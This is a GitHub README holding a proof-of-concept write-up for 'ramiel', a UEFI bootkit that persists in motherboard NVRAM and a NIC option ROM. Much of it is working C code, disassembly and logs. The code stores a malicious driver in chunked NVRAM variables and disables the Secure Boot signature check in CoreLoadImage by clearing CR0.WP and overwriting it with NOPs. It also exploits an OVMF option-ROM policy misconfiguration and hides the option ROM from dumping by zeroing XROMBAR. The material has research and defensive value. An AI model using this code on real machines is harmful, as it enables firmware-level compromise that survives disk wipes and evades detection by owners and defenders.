-
Notifications
You must be signed in to change notification settings - Fork 9
/
Copy pathREADME.txt
898 lines (783 loc) · 37.7 KB
/
README.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
#
.%%( (
/%%%%%% *#
,%%%%%%%% (
%%%%%%%%%%%% ,(
*%%%%%%%%%%%%%%, (
#&%%%%%%%%%%%%%%%&@@ /
#%%%%%%%%%%&@ %%%% %%%%%%@, &
%%%%%%@.*%%%%%%%%%%%%% (%%%%%%%%%%%%%@ *
*%%%%%%%%%%%%%%%%%%%%%%% &&%%%%%%%%%%%%%%%%%%%&*/
/@@@@%%%%%%%%%%%%%%%%& %&%%%%%%%%%%%%%%%%%%&,
,#@@@@@@@&%%%%%%%%%&.%&%%%%%%&%%%%%%%%% (
@@@@@@@@@@@@%%%& %%%%%%%%%%%%%%%,
#@@@@@@@@@@&@% %%%%%%%%%%%%&/
(@@@@@@&@@@ %%%%%%%%%%,
*@@@@@@@@ %%%%%%%//
&@@@@ %%%%%/
/@@*%%*
@
RAMIEL POC WRITEUP
0xwillow, jan 2023
uefi diskless persistence technique + OVMF secureboot bypass
https://cpl0.zip
https://github.com/3intermute/ramiel
featured on black mass vol 2 !!:
https://twitter.com/vxunderground/status/1704194528662409444
<========================================================================================>
abstract:
the majority of UEFI bootkits persist within the EFI system partition.
disk persistence is not ideal as it is easily detectable and cannot survive OS
re-installations and disk wipes. furthermore, for almost all platforms, secureboot is
configured to check the signatures of images stored on disk before they are loaded.
more recently, a new technique [6] of persisting in the option rom of PCI cards was
discovered. the technique allowed bootkits to survive OS re-installations and disk
wipes. in the past, edk2 configured secureboot to allow unsigned option ROMs to
execute [8], but this has since been patched for most platforms.
PCI option rom persistence is not without limitations:
1. PCI option rom is often small, usually within the range of ~32 - ~128 KB,
providing little room for complex malware.
2. PCI option rom can be trivially dumped as it is mapped into memory.
ramiel attempts to mitigate these flaws. leveraging motherboard NVRAM, it can utilize
~256 KB of persistent storage on certain systems, which is greater than what current
option rom bootkits can utilize.
it is also difficult to detect ramiel since it prevents option roms from being
mapped into memory, and as vault7 [7] states:
"there is no way to enumerate NVRAM variables from the OS... you have to know the
exact GUID and name of the variable to even determine that it exists."
additionally, due to a misconfiguration in OVMF, ramiel is able to bypass secureboot
for certain hypervisors.
<========================================================================================>
implementation details:
0. overview:
------------------------------------------------------------------------------------------
| 0.1 overview |
------------------------------------------------------------------------------------------
the order in which sections are presented is the order in which ramiel performs
operations.
1. infection:
1.1 ramiel writes a malicious driver to NVRAM
1.2 ramiel writes chainloader to PCI option rom
2. subsequent boots:
2.3 ramiel patches secureboot check in LoadImage to chainload unsigned malicious driver
2.4 ramiel prevents oprom from being mapped into memory by linux kernel
2.5 chainloader loads the malicious driver from NVRAM
misc:
2.1 OVMF misconfiguration allows for unsigned PCI option roms to execute with secureboot
enabled
2.2 overview of PCI device driver model
2.6 source debugging OVMF with gdb
initial infection: ┌───────────────────┐
┌────────────────┐ ┌►OEM firmware update tool──►│NIC PCI option ROM │
│dropper ├─┘ │ ├──────┐
│ │ │chainloader driver │ │
│ ├─┐ │ │ │
└────────────────┘ └►SetVariable()──────┐ └───────────────────┘ │
│ │
│ ┌───────────────────┐ │
└──────►│NVRAM │ │
│ │ │
│maliciious driver │ │
│(chunks) ├───┐ │
└───────────────────┘ │ │
│ │
│ │
next reboot: DXE dispatcher loads unsigned chainloader driver │ │
(ignores secureboot violation due to misconfiguration)│ │
│ │
│ │
│ │
┌────────────────────┼──┘
│ │
│ │
▼ │
┌────────────────┐ │
│chainloader │ │
│ │ │
│ │ │
└─────────┬──────┘ │
│ │
▼ │
chainloader: patch secureboot check in CoreLoadImage │
chainloader: zero XROMBAR │ │
│ │
│ │
│ │
▼ │
chainloader: load malicious driver chunks from NVRAM │
│
┌────────────────────┘
▼
┌────────────────┐
│malicious driver│
│ │
│ │
└────────────────┘
------------------------------------------------------------------------------------------
| 0.2 bare metal |
------------------------------------------------------------------------------------------
ramiel has not been tested on bare metal although theoretically it should work
with secureboot disabled.
1. infection:
------------------------------------------------------------------------------------------
| 1.1 NVRAM |
------------------------------------------------------------------------------------------
on the version of OVMF tested, QueryVariableInfo returned:
max variable storage: 262044 B, 262 KB
remaining variable storage: 224808 B, 224 KB
max variable size: 33732 B, 33 KB
in order to utilize all of 262 KB of NVRAM, the malicious driver must be broken into 33 KB
chunks stored in separate NVRAM variables. since the size of the malicious driver
is unknown to the chainloader, ramiel creates a variable called "guids" storing
the guids of all chunk variables. the guid of the "guids" variable is fixed at
compile time.
example NVRAM layout:
guid of guids (89547266-0460-43b3-9dfc-e4d627e6629) is known by the chainloader
┌──guids───89547266-0460-43b3-9dfc-e4d627e6629────┐
┌───────┤0eb06226-a02e-49be-bd56-866b328b44a3 │
│ │ │
│ ┌────┤c62104c3-0b2a-4c5a-9b1d-17780ebeaf9f │
│ │ │ │
│ │ ┌──┤b0d0f31d-88e0-4cbf-a589-ccc35e4569ab │
│ │ │ └─────────────────────────────────────────────────┘
│ │ │
│ │ │
│ │ │
│ │ │ ┌──0eb06226-a02e-49be-bd56-866b328b44a3──┐
└──┼─┼─►│<max var size chunk 1 of driver> │
│ │ └────────────────────────────────────────┘
│ │
│ │
│ │ ┌──c62104c3-0b2a-4c5a-9b1d-17780ebeaf9f──┐
└─┼─►│<max var size chunk 2 of driver> │
│ └────────────────────────────────────────┘
│
│
│ ┌──b0d0f31d-88e0-4cbf-a589-ccc35e4569ab──┐
└─►│<max var size chunk 3 of driver> │
└────────────────────────────────────────┘
runtime.c excerpt:
``
struct stat stat;
int fd = open(argv[3], O_RDONLY);
fstat(fd, &stat);
uint8_t *buf = malloc(stat.st_size);
read(fd, buf, stat.st_size);
int attributes = EFI_VARIABLE_NON_VOLATILE | EFI_VARIABLE_BOOTSERVICE_ACCESS | \
EFI_VARIABLE_RUNTIME_ACCESS;
efi_guid_t guid;
efi_str_to_guid(argv[1], &guid);
ret = efi_set_variable(guid, argv[2], buf, stat.st_size, attributes, 777);
if (ret != 0) {
return -1;
}
``
to write the variables to NVRAM, ramiel uses the libefivar library and its wrapper
for the UEFI runtime service SetVariable:
``
int efi_set_variable(efi_guid_t guid,
const char *name,
void *data,
size_t data_size,
uint32_t attributes);
``
ramiel sets the attributes:
EFI_VARIABLE_NON_VOLATILE to store the variable in NVRAM,
EFI_VARIABLE_BOOTSERVICE_ACCESS so the chainloader may access it, and
EFI_VARIABLE_RUNTIME_ACCESS to ensure the variable has been written.
importantly, EFI_VARIABLE_RUNTIME_ACCESS is unset during subsequent boots to prevent the
variable from being dumped from the OS even if its guid is known.
------------------------------------------------------------------------------------------
| 1.2 PCI option rom emulation in QEMU |
------------------------------------------------------------------------------------------
option rom emulation is qemu is as simple as passing a romfile= param to a
emulated NIC device like so [1]:
``
-device e1000e,romfile=chainloader.efirom
``
for bare metal, it is usually possible to flash PCI option rom via OEM
firmware update utilities like Intel Ethernet Flash Firmware Utility [9].
ramiel currently does not implement utilizing such utilities to infect virtual
machines that are passed healthy romfiles. ramiel requires an infected romfile to be
passed to qemu.
2. subsequent boots:
------------------------------------------------------------------------------------------
| 2.1 OVMF policy misconfiguration |
------------------------------------------------------------------------------------------
option rom verification behavior is controlled by a PCD value
PcdOptionRomImageVerificationPolicy in the edk2 SecurityPkg package.
the possible values for the PCD are:
``
## Pcd for OptionRom.
# Image verification policy settings:
# ALWAYS_EXECUTE 0x00000000
# NEVER_EXECUTE 0x00000001
# ALLOW_EXECUTE_ON_SECURITY_VIOLATION 0x00000002
# DEFER_EXECUTE_ON_SECURITY_VIOLATION 0x00000003
# DENY_EXECUTE_ON_SECURITY_VIOLATION 0x00000004
# QUERY_USER_ON_SECURITY_VIOLATION 0x00000005
gEfiSecurityPkgTokenSpaceGuid.PcdOptionRomImageVerificationPolicy|0x00|UINT32|-
0x00000001
``
microsoft recommends platforms to set this value to
DENY_EXECUTE_ON_SECURITY_VIOLATION (0x04) [8], however, on the latest version of
edk2 the PCD is set to always execute for many OVMF platforms:
``
OvmfPkg/OvmfPkgIa32X64.dsc:653:
gEfiSecurityPkgTokenSpaceGuid.PcdOptionRomImageVerificationPolicy|0x00
OvmfPkg/AmdSev/AmdSevX64.dsc:525:
gEfiSecurityPkgTokenSpaceGuid.PcdOptionRomImageVerificationPolicy|0x00
OvmfPkg/IntelTdx/IntelTdxX64.dsc:512:
gEfiSecurityPkgTokenSpaceGuid.PcdOptionRomImageVerificationPolicy|0x00
OvmfPkg/XenPlatformPei/XenPlatformPei.inf:90:
gEfiSecurityPkgTokenSpaceGuid.PcdOptionRomImageVerificationPolicy
...
OvmfPkg/Microvm/MicrovmX64.dsc:620:
gEfiSecurityPkgTokenSpaceGuid.PcdOptionRomImageVerificationPolicy|0x00
OvmfPkg/OvmfPkgIa32.dsc:641:
gEfiSecurityPkgTokenSpaceGuid.PcdOptionRomImageVerificationPolicy|0x00
OvmfPkg/Bhyve/BhyveX64.dsc:562:
gEfiSecurityPkgTokenSpaceGuid.PcdOptionRomImageVerificationPolicy|0x00
OvmfPkg/CloudHv/CloudHvX64.dsc:622:
gEfiSecurityPkgTokenSpaceGuid.PcdOptionRomImageVerificationPolicy|0x00
OvmfPkg/OvmfXen.dsc:508:
gEfiSecurityPkgTokenSpaceGuid.PcdOptionRomImageVerificationPolicy|0x00
OvmfPkg/OvmfPkgX64.dsc:674:
gEfiSecurityPkgTokenSpaceGuid.PcdOptionRomImageVerificationPolicy|0x00
``
ramiel leverages this to bypass secureboot on qemu.
------------------------------------------------------------------------------------------
| 2.2 PCI driver structure |
------------------------------------------------------------------------------------------
during the dxe phase of EFI, the driver dispatcher will discover and dispatch all drivers
it encounters, including drivers stored in PCI option rom.
from edk2 docs::
"Drivers that follow the UEFI driver model are not allowed to touch any hardware in their
driver entry point. In fact, these types of drivers do very little in their
driver entry point. They are required to register protocol interfaces in the
Handle Database and may also choose to register HII packages in the HII Database..." [13]
register driver binding protocol in DriverEntry:
``
EFI_DRIVER_BINDING_PROTOCOL gTestDriverBinding = {
DriverSupported, DriverStart, DriverStop,
0x01, NULL, NULL};
EFI_STATUS EFIAPI DriverEntry(IN EFI_HANDLE ImageHandle,
IN EFI_SYSTEM_TABLE* SystemTable) {
gST = SystemTable;
gBS = SystemTable->BootServices;
gRT = SystemTable->RuntimeServices;
gImageHandle = ImageHandle;
EFI_STATUS status;
status = EfiLibInstallDriverBindingComponentName2(
ImageHandle, // ImageHandle
SystemTable, // SystemTable
&gTestDriverBinding, // DriverBinding
ImageHandle, // DriverBindingHandle
NULL, NULL);
return status;
}
``
from edk2 docs:
"A PCI driver must implement the EFI_DRIVER_BINDING_PROTOCOL containing the
Supported(), Start(), and Stop() services. The Supported() service evaluates the
ControllerHandle passed in to see if the ControllerHandle represents a PCI device the
PCI driver can manage." [14]
driver supported:
``
BOOLEAN Checke1000eNIC(EFI_HANDLE Controller,
EFI_DRIVER_BINDING_PROTOCOL **This) {
EFI_STATUS status = EFI_SUCCESS;
EFI_PCI_IO_PROTOCOL *PciIo;
PCI_TYPE00 Pci;
status = gBS->OpenProtocol(Controller, &gEfiPciIoProtocolGuid,
(VOID **) &PciIo, (*This)->DriverBindingHandle,
Controller, EFI_OPEN_PROTOCOL_BY_DRIVER);
if (EFI_ERROR(status) || PciIo == NULL) {
return FALSE;
}
status = PciIo->Pci.Read(PciIo, // (protocol, device)
// handle
EfiPciIoWidthUint32, // access width & copy
// mode
0, // Offset
sizeof Pci / sizeof(UINT32), // Count
&Pci // target buffer
);
gBS->CloseProtocol(Controller, &gEfiPciIoProtocolGuid,
(*This)->DriverBindingHandle, Controller);
if (status == EFI_SUCCESS) {
if (Pci.Hdr.VendorId == 0x8086 && Pci.Hdr.DeviceId == 0x10d3) {
return TRUE;
} else {
return FALSE;
}
}
return FALSE;
}
EFI_STATUS
EFIAPI
DriverSupported(IN EFI_DRIVER_BINDING_PROTOCOL *This, IN EFI_HANDLE Controller,
IN EFI_DEVICE_PATH_PROTOCOL *RemainingDevicePath) {
EFI_DEVICE_PATH_PROTOCOL *this = DevicePathFromHandle(Controller);
if (this == NULL) {
return EFI_UNSUPPORTED;
}
CHAR16 *p = ConvertDevicePathToText(this, TRUE, FALSE);
if (Checke1000eNIC(Controller, &This)) {
Print(L"[ramiel]: nic found @ DevicePath: %s\n", p);
return EFI_SUCCESS;
} else {
return EFI_UNSUPPORTED;
}
}
``
------------------------------------------------------------------------------------------
| 2.3 patching secureboot check |
------------------------------------------------------------------------------------------
originally, ramiel utilized a manual mapper similar to shim to chainload the
malicious driver without triggering a secureboot violation.
however, it is far simpler to bypass secureboot by patching a check in DxeCore.efi
with nops.
when LoadImage is called on an unsigned image, the debug log in qemu will show
this message:
``
[Security] 3rd party image[0] can be loaded after EndOfDxe: MemoryMapped(0x0, ...
DxeImageVerificationLib: Image is not signed and SHA256 hash of image is not found
in DB/DBX.
The image doesn't pass verification: MemoryMapped(0x0,0x7D632000,0x7D6340C0)
``
the message is printed by DxeImageVerificationHandler in
SecurityPkg/Library/DxeImageVerificationLib/DxeImageVerificationLib.c:
``
1658> EFI_STATUS
EFIAPI
DxeImageVerificationHandler (
...
1854> DEBUG((DEBUG_INFO, "DxeImageVerificationLib: \
Image is not signed and %s hash of image is not found in DB/DBX.\n",
mHashTypeStr));
...
``
setting a breakpoint at DxeImageVerificationHandler entry and backtracing shows:
``
Thread 1 hit Breakpoint 1, DxeImageVerificationHandler ...
(gdb) bt
#0 DxeImageVerificationHandler ...
#1 0x000000007e2af95b in ExecuteSecurity2Handlers ...
#2 ExecuteSecurity2Handlers ...
#3 0x000000007e27b22d in Security2StubAuthenticate ...
#4 0x000000007ef94dee in CoreLoadImageCommon.constprop.0 ...
at ... edk2/MdeModulePkg/Core/Dxe/Image/Image.c:1273
#5 0x000000007ef7b88e in CoreLoadImage ...
at ... edk2/MdeModulePkg/Core/Dxe/Image/Image.c:1542
...
``
ramiel patches this check in CoreLoadImageCommon with nops.
MdeModulePkg/Core/Dxe/Image/Image.c:
``
1136> EFI_STATUS
CoreLoadImageCommon (
...
1269> if (gSecurity2 != NULL) {
SecurityStatus = gSecurity2->FileAuthentication (
gSecurity2,
OriginalFilePath,
FHand.Source,
FHand.SourceSize,
BootPolicy
);
...
1310> if (EFI_ERROR (SecurityStatus) && (SecurityStatus != EFI_SECURITY_VIOLATION)) {
if (SecurityStatus == EFI_ACCESS_DENIED) {
*ImageHandle = NULL;
}
Status = SecurityStatus;
Image = NULL;
goto Done;
}
1322>
...
``
it is possible to find the address corresponding to a line of code via
setting hardware breakpoints.
setting hardware breakpoints at lines 1269 and 1322 shows the start and end
addresses of the code which ramiel must patch. as there is no ASLR, these
addresses do not change unless DxeCore.efi is recompiled.
``
hw breakpoint keep y <MULTIPLE>
y 0x000000007ef94dbd in CoreLoadImageCommon.constprop.0 at
... edk2/MdeModulePkg/Core/Dxe/Image/Image.c:1269 inf 1
hw breakpoint keep y <MULTIPLE>
y 0x000000007ef94eab in CoreLoadImageCommon.constprop.0 at
... edk2/MdeModulePkg/Core/Dxe/Image/Image.c:1327 inf 1
``
disassembly of check in CoreLoadImageCommon.constprop.0 before patch_sb:
``
0x000000007ef94dbd <+2721>: 48 8b 05 84 d2 00 00 mov 0xd284(%rip),%rax
0x000000007ef94dc4 <+2728>: 48 85 c0 test %rax,%rax
0x000000007ef94dc7 <+2731>: 74 6d je 0x7ef94e36
...
0x000000007ef94e9f <+2947>: 48 c7 00 00 00 00 00 movq $0x0,(%rax)
0x000000007ef94ea6 <+2954>: e9 90 03 00 00 jmp 0x7ef9523b
0x000000007ef94eab <+2959>: 48 83 ec 20 sub $0x20,%rsp
``
any write protection implemented via pagetables is bypassed trivially with the
cr0 WP bit trick:
``
void clear_cr0_wp() {
AsmWriteCr0(AsmReadCr0() & ~(1UL << 16));
}
void set_cr0_wp() {
AsmWriteCr0(AsmReadCr0() | (1UL << 16));
}
``
it is possible to pattern scan memory for the check after finding the base
address of DxeCore.efi via enumerating ImageHandles in the handle database.
ramiel simply hardcodes the start and end address of where it should patch:
``
#define PATCH_START 0x000000007ef94dbdu
#define PATCH_END 0x000000007ef94eabu
...
void patch_sb() {
clear_cr0_wp();
SetMem((VOID *) PATCH_START, PATCH_END - PATCH_START, 0x90);
set_cr0_wp();
}
``
disassembly of check in CoreLoadImageCommon.constprop.0 after patch_sb:
``
0x000000007ef94dbd <+2721>: nop
0x000000007ef94dbe <+2722>: nop
0x000000007ef94dbf <+2723>: nop
...
0x000000007ef94ea9 <+2957>: nop
0x000000007ef94eaa <+2958>: nop
0x000000007ef94eab <+2959>: sub $0x20,%rsp
``
ramiel calls LoadImage successfully on an unsigned image:
qemu debug log:
``
Loading driver at 0x0007D62F000 EntryPoint=0x0007D63045A helloworld_driver.efi
InstallProtocolInterface: BC62157E-3E33-4FEC-9920-2D3B36D750DF 7D635798
ProtectUefiImageCommon - 0x7D635940
- 0x000000007D62F000 - 0x00000000000020C0
``
------------------------------------------------------------------------------------------
| 2.4 hide option rom |
------------------------------------------------------------------------------------------
x86sec [1] demonstrated that PCI option roms can be trivially dumped:
``
$ lspci -vv
00:04.0 Ethernet controller: Intel Corporation 82574L Gigabit Network Connection
Subsystem: Intel Corporation 82574L Gigabit Network Connection
...
Region 0: Memory at c0860000 (32-bit, non-prefetchable) [size=128K]
Region 1: Memory at c0840000 (32-bit, non-prefetchable) [size=128K]
Region 2: I/O ports at 6060 [size=32]
Region 3: Memory at c0880000 (32-bit, non-prefetchable) [size=16K]
Expansion ROM at 80050000 [disabled] [size=32K]
Capabilities: <access denied>
Kernel driver in use: e1000e
Kernel modules: e1000e
``
``
$ cd /sys/devices/pci0000:00/0000:00:04.0
$ echo 1 | sudo tee rom
$ sudo dd if=rom of=/tmp/oprom.bin
$ file /tmp/oprom.bin
/tmp/oprom.bin: BIOS (ia32) ROM Ext. (56*512)
``
however, "There is a kernel boot parameter, pci=norom, that is intended to disable
the kernel's resource assignment actions for Expansion ROMs that do not already
have BIOS assigned address ranges." which "only works if the Expansion ROM BAR is
set to "0" by the BIOS before hand-off." [10]
in order to prevent optiom rom from being dumped, ramiel clears XROMBAR in the PCI
configuration header of the NIC and passes pci=norom to the kernel.
in DriverStart, ramiel opens the EFI_PCI_IO_PROTOCOL associated with the
NIC controller and passes it to clear_oprom_bar:
``
EFI_PCI_IO_PROTOCOL *PciIo;
status = gBS->OpenProtocol(Controller, &gEfiPciIoProtocolGuid,
(VOID **) &PciIo, This->DriverBindingHandle,
Controller, EFI_OPEN_PROTOCOL_BY_DRIVER);
if (EFI_ERROR(status) || PciIo == NULL) {
return status;
}
status = clear_oprom_bar(PciIo);
``
in clear_oprom_bar, ramiel writes all zeros to the XROMBAR register (offset
0x30 within the PCI configuration headers) of the controller:
``
UINT32 allones = 0x00000000;
status = PciIo->Pci.Write(PciIo, // protocol
EfiPciIoWidthUint32, // access width
0x30, // offset of XROMBAR
1, // count
&allones // all zeros
);
``
after, lspci no longer displays the expansion rom field and the rom cannot be
dumped without memory scanning:
``
00:04.0 Ethernet controller: Intel Corporation 82574L Gigabit Network Connection
Subsystem: Intel Corporation 82574L Gigabit Network Connection
...
Region 0: Memory at c0860000 (32-bit, non-prefetchable) [size=128K]
Region 1: Memory at c0840000 (32-bit, non-prefetchable) [size=128K]
Region 2: I/O ports at 6060 [size=32]
Region 3: Memory at c0880000 (32-bit, non-prefetchable) [size=16K]
Capabilities: <access denied>
Kernel driver in use: e1000e
Kernel modules: e1000e
``
------------------------------------------------------------------------------------------
| 2.5 reassemble chunks + chainload |
------------------------------------------------------------------------------------------
to reassemble the malicious driver image, ramiel first calls GetVariable on the "guids"
variable, then calls GetVariable on every guid stored in it and copies the chunks
to a buffer:
+TODO: remove runtime access flag from vars
``
#define GUIDS_VAR_NAME L"guids"
#define GUIDS_VAR_GUID {0xBFB35F7E, 0xFC44, 0x41AE, \
{0x7C, 0xD9, 0x68, 0xA8, 0x01, 0x02, 0xB9, 0xD0}}
...
UINTN parse_guids(CHAR16 ***var_names_ptr, UINT8 *buf, UINTN bufsize) {
UINTN nguids = (bufsize / sizeof(CHAR16)) / GUID_LEN;
CHAR16 **guids = AllocateZeroPool(nguids * sizeof(CHAR16 *));
*var_names_ptr = guids;
for (UINTN i = 0; i < nguids; i++) {
CHAR16 *tmp = AllocateZeroPool((GUID_LEN * sizeof(CHAR16)) + sizeof(CHAR16));
guids[i] = tmp;
CopyMem(tmp,
buf + (i * GUID_LEN * sizeof(CHAR16)), GUID_LEN * sizeof(CHAR16));
}
return nguids;
}
EFI_STATUS
EFIAPI
nvram_chainload() {
EFI_STATUS status;
UINT8 *buf;
UINTN bufsize;
EFI_GUID guids_var_guid = GUIDS_VAR_GUID;
gRT->GetVariable(
GUIDS_VAR_NAME,
&guids_var_guid,
NULL,
&bufsize,
NULL);
buf = AllocateZeroPool(bufsize);
gRT->GetVariable(
GUIDS_VAR_NAME,
&guids_var_guid,
NULL,
&bufsize,
buf);
CHAR16 **var_names;
UINTN nguids = parse_guids(&var_names, buf, bufsize);
EFI_GUID *guids = AllocateZeroPool(nguids * sizeof(EFI_GUID));
for (int i = 0; i < nguids; i++) {
StrToGuid(var_names[i], &guids[i]);
}
UINT64 size = 0;
UINT64 *sizes = AllocateZeroPool(nguids * sizeof(UINT64));
for (int i = 0; i < nguids; i++) {
gRT->GetVariable(
var_names[i],
&(guids[i]),
NULL,
&(sizes[i]),
NULL
);
size += sizes[i];
}
UINT8 *application_ptr = AllocatePages(EFI_SIZE_TO_PAGES(size));
UINT64 offset = 0;
for (int i = 0; i < nguids; i++) {
gRT->GetVariable(
var_names[i],
&(guids[i]),
NULL,
&(sizes[i]),
application_ptr + offset);
offset += sizes[i];
}
MEMORY_DEVICE_PATH mempath = MemoryDevicePathTemplate;
mempath.Node1.StartingAddress = (EFI_PHYSICAL_ADDRESS) (UINTN) application_ptr;
mempath.Node1.EndingAddress = \
(EFI_PHYSICAL_ADDRESS) ((UINTN) application_ptr) + size;
EFI_HANDLE NewImageHandle;
status = gBS->LoadImage(
0,
gImageHandle,
(EFI_DEVICE_PATH_PROTOCOL *) &mempath,
application_ptr,
size,
&NewImageHandle);
if (EFI_ERROR(status)) {
return status;
}
status = gBS->StartImage(NewImageHandle, NULL, NULL);
if (EFI_ERROR(status)) {
return status;
}
return status;
}
``
then it calls LoadImage on a memory device path pointing to the buffer [12]:
``
typedef struct {
MEMMAP_DEVICE_PATH Node1;
EFI_DEVICE_PATH_PROTOCOL End;
} MEMORY_DEVICE_PATH;
STATIC CONST MEMORY_DEVICE_PATH MemoryDevicePathTemplate =
{
{
{
HARDWARE_DEVICE_PATH,
HW_MEMMAP_DP,
{
(UINT8)(sizeof (MEMMAP_DEVICE_PATH)),
(UINT8)((sizeof (MEMMAP_DEVICE_PATH)) >> 8),
},
}, // Header
0, // StartingAddress (set at runtime)
0 // EndingAddress (set at runtime)
}, // Node1
{
END_DEVICE_PATH_TYPE,
END_ENTIRE_DEVICE_PATH_SUBTYPE,
{ sizeof (EFI_DEVICE_PATH_PROTOCOL), 0 }
} // End
};
...
MEMORY_DEVICE_PATH mempath = MemoryDevicePathTemplate;
mempath.Node1.StartingAddress = (EFI_PHYSICAL_ADDRESS) (UINTN) application_ptr;
mempath.Node1.EndingAddress = (EFI_PHYSICAL_ADDRESS) ((UINTN) application_ptr) + size;
EFI_HANDLE NewImageHandle;
status = gBS->LoadImage(
0,
gImageHandle,
(EFI_DEVICE_PATH_PROTOCOL *) &mempath,
application_ptr,
size,
&NewImageHandle);
``
com1 log:
``
[ramiel]: nic found @ DevicePath: PciRoot(0x0)/Pci(0x4,0x0)
[ramiel]: print_var_info - max_var_storage -> 262044 B
[ramiel]: print_var_info - remaining_var_storage -> 224808 B
[ramiel]: print_var_info - max_var_size -> 33732 B
[ramiel]: DriverStart - vendor id, device id -> 8086, 10D3
[ramiel]: DriverStart - xrombar -> 0
[ramiel]: DriverStart - command register -> 7
[ramiel]: patch_sb - patching secureboot check from -> 7EF94DBD to 7EF94EAB...
[ramiel]: patch_sb - completed
[ramiel]: nvram_chainload - guid 02015480-B875-42CC-B73C-7CD6D7A140D5
[ramiel]: nvram_chainload - LoadImage of target completed
helloworld !! : D
[ramiel]: nvram_chainload - StartImage completed
``
------------------------------------------------------------------------------------------
| 2.6 source debugging OVMF with gdb |
------------------------------------------------------------------------------------------
1. follow the debian wiki instructions to setup a vm with secureboot [15]
2. compile OVMF with -D SECURE_BOOT_ENABLE
3. copy OVMF_VARS.fd and OVMF_CODE.fd to the secureboot-vm directory
4. run:
$ ./start-vm.sh
5. exit the vm, then run:
$ ./gen_symbol_offsets.sh > gdbscript
$ ./start-vm.sh -s -S
$ gdb
(gdb) source gdbscript
(gdb) target remote localhost:1234
start-vm.sh [15]
``
#!/bin/bash
set -Eeuxo pipefail
LOG="debug.log"
MACHINE_NAME="disk"
QEMU_IMG="${MACHINE_NAME}.img"
SSH_PORT="5555"
OVMF_CODE_SECURE="ovmf/OVMF_CODE_SECURE.fd"
OVMF_VARS_ORIG="/usr/share/OVMF/OVMF_VARS_4M.ms.fd"
OVMF_VARS_SECURE="ovmf/OVMF_VARS_4M_SECURE.ms.fd"
if [ ! -e "${QEMU_IMG}" ]; then
qemu-img create -f qcow2 "${QEMU_IMG}" 8G
fi
if [ ! -e "${OVMF_VARS}" ]; then
cp "${OVMF_VARS_ORIG}" "${OVMF_VARS}"
fi
qemu-system-x86_64 \
-enable-kvm \
-cpu host -smp cores=4,threads=1 -m 2048 \
-object rng-random,filename=/dev/urandom,id=rng0 \
-device virtio-rng-pci,rng=rng0 \
-net nic,model=virtio -net user,hostfwd=tcp::${SSH_PORT}-:22 \
-name "${MACHINE_NAME}" \
-drive file="${QEMU_IMG}",format=qcow2 \
-vga virtio \
-machine q35,smm=on \
-global driver=cfi.pflash01,property=secure,value=on \
-drive format=raw,file=fat:rw:fs1 \
-drive if=pflash,format=raw,unit=0,file="${OVMF_CODE_SECURE}",readonly=on \
-drive if=pflash,format=raw,unit=1,file="${OVMF_VARS_SECURE}" \
-debugcon file:"${LOG}" -global isa-debugcon.iobase=0x402 \
-global ICH9-LPC.disable_s3=1 \
-serial file:com1.log \
-device e1000e,romfile=chainloader.efirom \
$@
``
